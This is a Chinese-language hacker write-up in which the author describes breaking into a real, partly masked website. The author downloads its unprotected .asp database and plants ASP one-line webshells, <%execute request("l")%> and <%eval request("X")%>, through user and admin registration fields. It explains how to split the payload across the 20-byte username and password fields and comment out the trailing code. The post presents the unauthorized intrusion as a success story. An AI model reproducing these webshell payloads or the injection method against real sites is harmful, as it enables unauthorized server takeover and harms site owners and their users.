一、起因
今天半夜无聊,不小心弄的看了以前想弄站,www.***818.com,试试了默认数据库http://www.***818.com/abc.asp,居然是没防下(以前可能被人家搞过,一直下载不了,老提示错误,今天可以下,可能是管理员重新传数据库上去了。-----------因为我得到和他一样的,并且可能是一个人开的www.***918.com的代码。)于是呼我就以为可以写马。进后台添加用户那里加个用户名为<%execute request("l")%> 密码aaa的用户。试传大马。但是失败。就这样开始了我的夜生活。。。。(本来可以在其他地方插的,但由于我的不小心。)
二、分析
前面罗嗦了点。下面简洁说:重新看下数据库。用户名那里居然只给20个字节,难怪老出现错误:Script 块缺少脚本关闭标记(% >)。
本地搭一个和他一样的站,测试。起初以为给他闭合就OK了。就在其他地方加上%>还是出现错误:
CODE:[Copy to clipboard]未结束的字符串常量
/test/abc.asp,行 237
execute request("l
于是把刚刚添加的用户给删了。谁知道删了用户,他还是出错,就是:Script 块缺少脚本关闭标记(% >)。用户删了,残余的东西还留在里面,真实顽固啊,本来有一法是可以搞定的,就是修改会员资料,把会员<%execute request("l ----------------20个字节。前面加个’变<%‘execute request(" 可惜不小心又把他删了。
无奈,用frontpage打开数据库,发现admin表的内容在user表前面。于是想到用改管理员密码的方法来插木马。幻想着虽然后面的代码有问题,但如果前面的已经执行了那不就OK了。抱着这个想法。
就又实验起来。发现管理员,密码(都是明问文)也是控制在20个字节(在数据库中的,不是在表单中),而:<%execute request("l")%> 有24个字节,于是我找到更小的,lake2的那个:<%eval request("X")%> 21个字节,少了三个。这样就有我利用的机会了。经过无数次的实验。发现这样可以很好的插进去。
管理员那里:<%eval request("X")’
管理密码那里:%>
管理员多个’是注释掉后面的垃圾。刚好20个,这样就可以插进去了。
测试的时候。我本地没把<%execute request("l")%> 插先。只插<%eval request("X")%>,意思就是数据库还没被破坏的情况下插的。现在数据库那里已经有哦问题了。重新来过。先加一用户<%execute request("l")%> ,后面给他闭合加%>,再到管理员那里插lake2的一句话木马
结果。还是失败。可能是ASP里面代码出错,就不给用了。我的理解是。asp.dll会从上到下一句一句解析,那当上面对的代码解析完了。再解析下面 的错代码,再抱错。。。。
三、柳暗花明
随便再加一用户。再用frontpage打开。发现。新用户名密码和<%execute request("------(就是出错的那里)在同一行,而且还在前面。想想是不是可以注释点。加用户aaa,密码’’’’’’’’
还是注释不了。
查资料也没这个说发。最后一不小心,再加用户的时候。添加aaa,密码<%’<%’
然后在到后面把前面哪里给闭合,打开http://127.0.0.1/abc.asp 居然出现乱码了,希望来了。。。
剩下的事情就容易多了。不罗嗦了
四、总结
从微小的地方找到突破,坚持不懈,不放过一点细节。信息。
就是我成功的经验。
